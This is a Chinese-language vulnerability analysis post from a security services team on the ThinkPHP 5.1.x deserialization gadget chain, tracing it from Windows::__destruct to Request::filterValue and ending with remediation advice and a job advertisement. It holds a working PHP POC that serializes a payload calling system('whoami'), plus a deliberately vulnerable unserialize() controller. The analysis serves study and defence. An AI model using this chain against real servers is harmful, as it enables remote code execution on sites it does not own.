九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

admin 2023年8月7日12:07:01评论19 views字数 12473阅读41分34秒阅读模式

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析


环境搭建

PHP -- 7.4.21

ThinkPHP --5.1


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

composer 安装ThinkPHP


先安装composer

curl -sS https://getcomposer.org/installer | php mv composer.phar /usr/local/bin/composer

*左右滑动查看更多


切换镜像:

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

*左右滑动查看更多


随后在web目录下,创建TP5的应用目录:

composer create-project topthink/think=5.1.* tp5

*左右滑动查看更多


随后进入TP5根目录下 ,下载核心框架:

cd tp5 composer update topthink/framework

*左右滑动查看更多


然后主机访问127.0.0.1/tp5/public ,出现以下界面则安装成功:

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析


知识回顾

PHP常用的魔法函数:

  • __construct():创建对象时会自动调用;

  • __destruct():对象销毁时自动调用;

  • __sleep():执行serialize()时自动调用;

  • __wakeup():执行unserialize()时自动调用;

  • __toString():对象被作为字符串处理时自动调用;

  • __get():从不可访问的属性中读取数据时自动调用;

  • __call():调用类中不存在的或不可访问的方法时自动调用;

  • __invoke(): 当以函数方式调用对象时被调用;

  • __set: 当访问不可访问或不存在属性赋值时调用。


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

反序列化常用起点

1、__wakeup 一定会调用*;

2、__destruct 一定会调用;

3、__toString 当一个对象被反序列后又被当字符串使用。


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

反序列化的常见中间跳板

1、__toString 当一个对象被当做字符串使用;

2、__get 读取不可访问或不存在属性时被调用;

3、 __set:当访问不可访问或不存在属性赋值时调用。


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

反序列化的常见终点

1、__cal()调用不可访问或不存在的方法时被调用;

2、call_user_func() 一般PHP代码执行会选择这里;

3、call_user_func_array 一般PHP代码执行会选择这里。


漏洞分析


首先我们先寻找反序列的起点__destruct() 或者 __wakeup()。


发现了在think/process/pipes/Windows.php中有一个__destruct()函数可以利用。

public function __destruct() {  $this->close();  $this->removeFiles();     }

*左右滑动查看更多


在__destruct()函数有个removeFiles(),现在追踪一下这个函数。

/**     * 删除临时文件     */    private function removeFiles()   {        foreach ($this->files as $filename) {            if (file_exists($filename)) {                @unlink($filename);            }        }        $this->files = [];    }

*左右滑动查看更多


注意:对this->files进行查询,如果存在就删除这个文件,所以这个地方存在一个任意删除的文件。但我们的目的是为了反序列化所以就不继续追踪这个漏洞。


在这个函数中用到了file_exists()这个函数,根据定义,这个函数将参数转化为String类型在进行查询,所以通过这个函数可以调用__toString()魔方方法。


在think/model/concern/Conversion.php中找到了一个可以利用的__toString()方法。

public function __toString(){        return $this->toJson();    }


追踪$this->toJson()。

/**          * 转换当前模型对象为JSON字符串     * @access public     * @param  integer $options json参数     * @return string     */ public function toJson($options = JSON_UNESCAPED_UNICODE){        return json_encode($this->toArray(), $options);    }

*左右滑动查看更多


继续追踪$this->toArray()。

public function toArray(){        $item       = [];        $hasVisible = false;
foreach ($this->visible as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->visible[$relation][] = $name; } else { $this->visible[$val] = true; $hasVisible = true; } unset($this->visible[$key]); } }
foreach ($this->hidden as $key => $val) { if (is_string($val)) { if (strpos($val, '.')) { list($relation, $name) = explode('.', $val); $this->hidden[$relation][] = $name; } else { $this->hidden[$val] = true; } unset($this->hidden[$key]); } }
// 合并关联数据 $data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { // 关联模型对象 if (isset($this->visible[$key]) && is_array($this->visible[$key])) { $val->visible($this->visible[$key]); } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) { $val->hidden($this->hidden[$key]); } // 关联模型对象 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) { $item[$key] = $val->toArray(); } } elseif (isset($this->visible[$key])) { $item[$key] = $this->getAttr($key); } elseif (!isset($this->hidden[$key]) && !$hasVisible) { $item[$key] = $this->getAttr($key); } }
// 追加属性(必须定义获取器) if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { // 追加关联对象属性 $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); // 追加关联对象属性 $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible([$attr]); } }
$item[$key] = $relation ? $relation->append([$attr])->toArray() : []; } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }

*左右滑动查看更多


代码太长,我们只看可以被我们利用的部分。

public function toArray(){        $item       = [];        $hasVisible = false;          // 追加属性(必须定义获取器)        if (!empty($this->append)) {        //在poc中定义了append:["peanut"=>["whoami"]            foreach ($this->append as $key => $name) {  //$key =paenut; $name =["whoami"]                if (is_array($name)) {   //$name=["whoami"]所以进入                    // 追加关联对象属性                    $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); //$relation可控,找到一个没有visible方法或不可访问这个方法的类时,即可调用_call()魔法方法 } } } } } return $item; }

*左右滑动查看更多


注意:在toArray()中我们发现了$relation->visible($name) 这个可控变量->方法(可控参数)的点,通过这个我们就可以利用__call()魔法方法了。现在先跟进$relation这个可控变量。


public function getRelation($name = null)     //$name = append的$key$name= peanut    {        if (is_null($name)) {            return $this->relation;        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }        return;    }

*左右滑动查看更多


由于$name = peanut 所以进入到elseif,为了在toArray()中可以利用$relation->visible($name),所以得让getRelation()返回是空,所以在poc中不定义$relation,让它跳过elseif直接返回为空。$relation此时为空,那么就将进入到第一个if,跟进下$this->getAttr()。

public function getAttr($name, &$item = null)  //此时$name = 上一层的$key = peanut    {        try {            $notFound = false;            $value    = $this->getData($name);        } catch (InvalidArgumentException $e) {            $notFound = true;            $value    = null;        }

*左右滑动查看更多


跟进getData()。

  public function getData($name = null) //$name = $key =peanut    {        if (is_null($name)) {            return $this->data;        } elseif (array_key_exists($name, $this->data)) { //poc中定义$this->data = ['peanut'=>new request()]            return $this->data[$name];        } elseif (array_key_exists($name, $this->relation)) {            return $this->relation[$name];        }        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);    }

*左右滑动查看更多


由于$name = append的$key = peanut 。所以跳过第一个if,在两个elseif中第一个是检测$this->data里是否有和$this->append一样的键,第二个是检测$this->relation中是否有一样的键。由于在上一步中,我们为了让$relation为空,不给$this->relation赋值。所以构造$this->data,在第一个elseif中返回return。


由于在后面需要调用request类中的__call()方法。所以我们先给$this->data() = ['peanut'=>new request()],返回$this->data的键对应的值,所以直接就和后文联系上了。

public function toArray(){        $item       = [];        $hasVisible = false;        // 追加属性(必须定义获取器)        if (!empty($this->append)) {                //在poc中定义了append:["peanut"=>["whoami"]             foreach ($this->append as $key => $name) {    //$key =paenut; $name =["whoami"]                if (is_array($name)) {     //$name=["whoami"]所以进入                    // 追加关联对象属性                    $relation = $this->getRelation($key);                    if (!$relation) {                        $relation = $this->getAttr($key); //$relation = new request()                        if ($relation) {                            $relation->visible($name);                        }                    }                }            }        }        return $item;  }

*左右滑动查看更多


注意:经过getAttr和getData后 此时$relation 为 new request() 。$relation -> visible($name)。


为了使 new request() -> visible('["whoami"]') ,现在有两个可控的变量:

  • $append,在Conversion.php中

  • $data,在Attribute.php中 


为了可以同时调用,我们需要一个同时继承这两个类的类,经过查找thinkphplibrarythinkModel.php存在一个名为Model的类同时继承了上面两个类。


现在这两个可控变量可以使用了,我们就继续往下走,寻找可以执行命令且当前类没有visible的__call()方法。最终找到了requset这个类。


public function __call($method, $args)//$method为不存在的方法,即$method=visible;$args为调用不存在方法的参数数组,即为['whoami']    {        if (array_key_exists($method, $this->hook)) {            array_unshift($args, $this);            return call_user_func_array($this->hook[$method], $args);//$this->hook[visible] = [$this,isAjax];$args=[$this,'whoami']        }

throw new Exception('method not exists:' . static::class . '->' . $method); }

*左右滑动查看更多


在这个__call()方法中,发现了一个可以执行我们命令的函数:

call_user_func_array() 。


但是这个if中有个array_unshitf()函数会将$this插入到$args数组的第一位。此时$args=['$this','whoami'] 无法在下面call _user_func_array中执行"whoami"的命令。 


poc在这里传参$this->hook=['visible'=>[$this,'isAjax'] ,笔者的理解是visible=>[$this,'isAjax']经过call_user_func_array(),意思就是$this->isAjax。由于array_unshitf()这个函数的存在使得命令无法执行,所以需要另寻方法。


经过查找得知thinkphp中有个filter过滤器经常和rce有关系。根据这个查到了一个filterValue()的方法。

   private function filterValue(&$value, $key, $filters){        $default = array_pop($filters);        foreach ($filters as $filter) {            if (is_callable($filter)) {                // 调用函数或者方法过滤                $value = call_user_func($filter, $value);            } elseif (is_scalar($value)) {                if (false !== strpos($filter, '/')) {                    // 正则过滤                    if (!preg_match($filter, $value)) {                        // 匹配不成功返回默认值                        $value = $default;                        break;                    }                } elseif (!empty($filter)) {                    // filter函数不存在时, 则使用filter_var进行过滤                    // filter为非整形值时, 调用filter_id取得过滤id                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));                    if (false === $value) {                        $value = $default;                        break;                    }                }            }        }

return $value; }

*左右滑动查看更多


可以看到,filterValue这个方法调用了call_user_func()函数,可以通过这个来执行我们的命令,由于发现参数都不可控,所以需要寻找一个调用filterValue这个方法的方法。

public function input($data = [], $name = '', $default = null, $filter = ''){        if (false === $name) {            // 获取原始数据            return $data;        }        $name = (string) $name;        if ('' != $name) {            // 解析name            if (strpos($name, '/')) {                list($name, $type) = explode('/', $name);            }            $data = $this->getData($data, $name);

if (is_null($data)) { return $default; }

if (is_object($data)) { return $data; } }

// 解析过滤器 $filter = $this->getFilter($filter, $default);

if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针 $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }

if (isset($type) && $data !== $default) { // 强制类型转换 $this->typeCast($data, $type); } return $data; }

*左右滑动查看更多


在这个方法中我们发现通过array_walk_recursive()把$dara,$filter回调了filterValue这个函数。同时发现$data通过$getData()获得,$filter通过getFilter获得(),现在就追踪这两个方法,看是否可以对这两个变量进行控制。

protected function getFilter($filter, $default){        if (is_null($filter)) {            $filter = [];        } else {            $filter = $filter ?: $this->filter;        //给$filter赋值            if (is_string($filter) && false === strpos($filter, '/')) {                $filter = explode(',', $filter);    //将$filter分割为数组            } else {                $filter = (array) $filter;            }        }

$filter[] = $default;

return $filter; }

*左右滑动查看更多


通过getFilter得知 最后返回了一个数组且数组的值为传入$filter这个变量。

   protected function getData(array $data, $name)    {        foreach (explode('.', $name) as $val) {        //分割$name为数组            if (isset($data[$val])) {                $data = $data[$val];                //$data是$input的上一层的调用方法--$param传入的$this->param;也就是$_GET传入的数组,而$name则是$param的上一层调用--isAjax中传入给$parma的$this->config['var_ajax']的值            } else {                return;            }        }

return $data; }

*左右滑动查看更多


返回的$data = $data[$name] ,而在filterValue(&$value, $key, $filters)这个函数&$value是指$data物理地址上的值(类似指针取值),$key为$data数组的值。所以我们得保证$data为数组。而在$input里我们无法控制$data和$filters,所以继续寻找调用input的地方。

public function param($name = '', $default = null, $filter = ''){        if (!$this->mergeParam) {            $method = $this->method(true);            // 自动获取请求变量            switch ($method) {                case 'POST':                    $vars = $this->post(false);                    break;                case 'PUT':                case 'DELETE':                case 'PATCH':                    $vars = $this->put(false);                    break;                default:                    $vars = [];            }

// 当前请求参数和URL地址中的参数合并 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

$this->mergeParam = true; } if (true === $name) { // 获取包含文件上传信息的数组 $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

return $this->input($data, '', $default, $filter); }

return $this->input($this->param, $name, $default, $filter); }

*左右滑动查看更多


在$param()中调用了$input() 发现传入的$this->param 就是$input()中的$data 而$this->param与GET传值有关,可以通过GET方式传值控制,但是$name却无法控制,所以继续寻找调用$param方法且$name可控。

 public function isAjax($ajax = false){        $value  = $this->server('HTTP_X_REQUESTED_WITH');        $result = 'xmlhttprequest' == strtolower($value) ? true : false;

if (true === $ajax) { return $result; }

$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }

*左右滑动查看更多


这里$this->config['var_ajax']虽然已经定义,但是可以重写覆盖,所以param的name可控->input的name可控,那么整条链就是这样:

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

POC

files = [new Pivot()];    } }

namespace think; abstract class Model{ protected $append=[]; private $data=[]; public function __construct(){ $this->append=["peanut"=>['whoami']]; $this->data=["peanut"=>new Request()]; } }

namespace think; Class Request{ protected $hook = []; protected $filter; protected $config; public function __construct(){ $this->hook['visible']=[$this,'isAjax']; $this->filter = "system"; $this->config['var_ajax'] = "peanut"; } } use thinkprocesspipesWindows; echo urlencode(serialize(new Windows()));

*左右滑动查看更多


由于该漏洞没有反序列化的条件,所以我们需要构造一个条件 在/application/index/controller/index.php。

   public function unser(){        $tmp = $_POST['test'];        echo $tmp;        unserialize(($tmp));    } }


九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析



修复建议

  • 不信任用户输入:最常见的反序列化漏洞是由于不安全地反序列化用户输入而产生的。在进行反序列化操作之前,要对用户提供的输入进行验证和过滤,确保输入的数据符合预期格式。


  • 更新PHP版本:确保使用的PHP版本是最新的,因为PHP开发团队通常会修复已知的安全漏洞并发布更新版本。及时更新可以帮助防止已知的反序列化漏洞。


  • 实现白名单验证:对于反序列化数据,可以实现白名单验证机制,只接受预先定义的合法类和数据类型。

安全开发建议

  • 设置安全的反序列化选项:在PHP 7.0及以上版本中,可以使用unserialize函数的第二个参数来设置反序列化选项。例如,可以使用['allowed_classes' => false]来禁止自动加载类,从而防止远程代码执行。


  • 使用安全的序列化库:避免使用不安全的serialize和unserialize函数。建议使用更安全的序列化库,如JSON或XML序列化。JSON序列化可以使用json_encode和json_decode函数,而XML序列化可以使用SimpleXML或DOMDocument类。


  • 限制反序列化操作的上下文:如果需要进行反序列化操作,建议在一个受控的环境中进行,限制反序列化操作的上下文,避免影响到不应该被反序列化的对象。


插播一条招聘信息


一、安全研究工程师实习生(24/25届)

工作地点:深圳
岗位职责:

1、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 
2、对防御对抗、反溯源、攻击利用等相关红队工具进行研究和开发;
3、熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
4、熟悉常见编程语言中的一种(Java、Python、PHP、GO),并能够熟练写出针对性的测试脚本;
5、参与区域内网渗透测试、代码审计、红蓝对抗活动、最新漏洞动态跟踪及复现、风险评估、客户培训等工作;
6、主要参与新服务、新技术创新服务的研究;
7、根据ATT&CK框架梳理研究相关TPPs,并形成对应的检测规则。
加分项:
1、具有渗透测试经验或逆向分析能力或溯源分析能力,曾经参与过大型的红蓝对抗项目;
2、熟悉Java、Python、PHP、GO等编程,并有良好的编程习惯和丰富的代码经验;
3、具备钻研精神,愿意在安全领域做出技术突破;
4、具有较强的责任感、具备能够独立的开展工作的能力、自学能力强、做事踏实认真; 

二、代码审计工程师实习生(24/25届)
工作地点:深圳
岗位职责:

1、跟踪和分析业界最新安全漏洞。
2、挖掘Java、PHP程序中未知的安全漏洞和代码缺陷,并对漏洞进行验证,编制安全加固报告;
3、主要参与新服务、新技术创新服务的研究;
任职要求:
1、对JAVA/PHP编程有较深入的了解,具备较强的Java/PHP代码审计能力,有丰富实战能力;
2、熟悉JAVA/PHP主流框架,具备有一定的编程能力;
3、深入理解常见安全漏洞产生原理及防范方法;
4、熟练掌握源代码测试工具及测试流程,有CNVD、CNNVD等漏洞证书、CVE或CTF比赛获奖者者优先。
5、熟悉主流的源代码审计工具;
6、思路清晰,具有优秀的分析、解决问题的能力,有良好的学习能力及团队协作能力;
7、具备较强的沟通能力、抗压能力,团队合作精神及钻研精神。


简历投递可扫描本文末二维码添加小编微信,或直接发送至邮箱[email protected]


往期回顾

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析


关于安恒信息安全服务团队
安恒信息安全服务团队由九维安全能力专家构成,其职责分别为:红队持续突破、橙队擅于赋能、黄队致力建设、绿队跟踪改进、青队快速处置、蓝队实时防御,紫队不断优化、暗队专注情报和研究、白队运营管理,以体系化的安全人才及技术为客户赋能。

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

原文始发于微信公众号(安恒信息安全服务):九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月7日12:07:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   九维团队-绿队(改进)| ThinkPHPv5.1.X反序列化漏洞分析https://cn-sec.com/archives/1933950.html

发表评论

匿名网友 填写信息